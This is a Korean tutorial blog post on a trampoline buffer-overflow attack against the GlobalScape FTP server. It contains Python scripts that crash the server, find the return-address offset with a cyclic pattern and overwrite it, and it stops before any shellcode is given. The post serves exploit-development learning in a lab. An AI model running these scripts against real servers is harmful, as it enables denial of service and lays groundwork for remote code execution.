bufferoverflow를 이용한 trampoline공격 ~ cr3denza

Big BOF를 이용하여 버퍼에 쉘코드를 넣고 RET를 쉘코드가 있는 위치로 덮어 씌우면 공격에 성공 할 수 있다. 하지만 스택의 주소가 같지 않기 때문에 나온 방법이 trampoline공격이다.
trampoline 공격은 프로세스가 로드하는 dll중에서 call reg(조작할 수 있는 범위의.)의 주소를 찾아서 ret를 call reg의 주소로 덮어 씌우고 reg의 위치에 쉘코드를 심어서 trampoline 공격을 성공 시킬수 있다.

GlobalScapeFTP를 이용하여 트램폴린 공격을 수행해보자.

	from ftplib import FTP

	ftp = FTP('192.168.50.152')
	ftp.login('123', '123')

	data = "a"* 2500
	ftp.putcmd(data)

view raw gsft.py hosted with ❤ by GitHub

id : 123, pw : 123 으로 접속을 한 후 ftp 커맨드를 입력받는 부분에 임의의 문자를 2500개를 입력 하면

ftp server가 exception이 발생하여 예외처리를 Visual Studio Debugger로 넘긴 것을 볼 수 있다.
ftp 커맨드입력에 문자열을 많이 넣으면 프로그램이 터지는 것을 확인(ret에 대한 Access violation exception이다) 할 수 있었으나
몇번째의 문자가 ret를 덮는지 알 수 없다. ret의 위치는 Eugene Ching이 만든 exploitpattern.py를 사용하여 찾을 수 있다.

exploitpattern.py는 Aa0Aa1Aa2...이런식으로 대문자,소문자,숫자 조합으로 문자열을 만들어준다.
저런방식으로 만든 문자열은 어느 곳이든지 4개를 보면 어느 위치인지 알 수 있다.

	from ftplib import FTP

	ftp = FTP('192.168.50.152')
	ftp.login('123', '123')

	data = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"

	ftp.putcmd(data)

view raw ftppattern.py hosted with ❤ by GitHub

이렇게 data를 변경하여 ftp를 공격해 보면

ret가 CQ1C로 덮여서 익셉션이 발생하는 것을 볼 수 있다. CQ1C를 이용하여 ret가 몇번째 인지 찾아보자.
입력한 패턴과는 다르게 CQ1C 대문자,대문자,숫자,대문자이다.
FTP 프로토콜은 모든 커맨드 명령어가 대문자로 정의 되있다(RFC 959). ftp 서버 프로그램이 소문자를 대문자로 바꾼 다는 걸 알 수 있다.
Cq1C를 exploitpatten.py로 찾아보면

2044부터 ret임을 확인 할 수 있다. ret확인을 해보기 위한 공격을 해보면

	from ftplib import FTP

	ftp = FTP('192.168.50.152')
	ftp.login('123', '123')

	ftp.putcmd("A"*2043 + "BBBB")

view raw BBBBftp.py hosted with ❤ by GitHub

ret가 \x42\x42\x42\x42가 되도록 공격

ret에 BBBB가 들어가서 익셉션이 발생하였다. ret가 2044부터 시작한다.
ret를 변조 할 수 있게되었다. 하지만 스택의 주소가 계속 바뀌기 때문에 ret에 쉘코드가 들어있는 주소를 직접 넣지는 못한다.
trampoline공격을 하기위해 레지스터를 보니 익셉션이 발생할 때의 ecx가 바로 밑의 스택의 주소를 갖고있다.
이제 ftp가 로딩한 dll들을 뒤져서 call ecx가 있는 주소를 찾아야한다.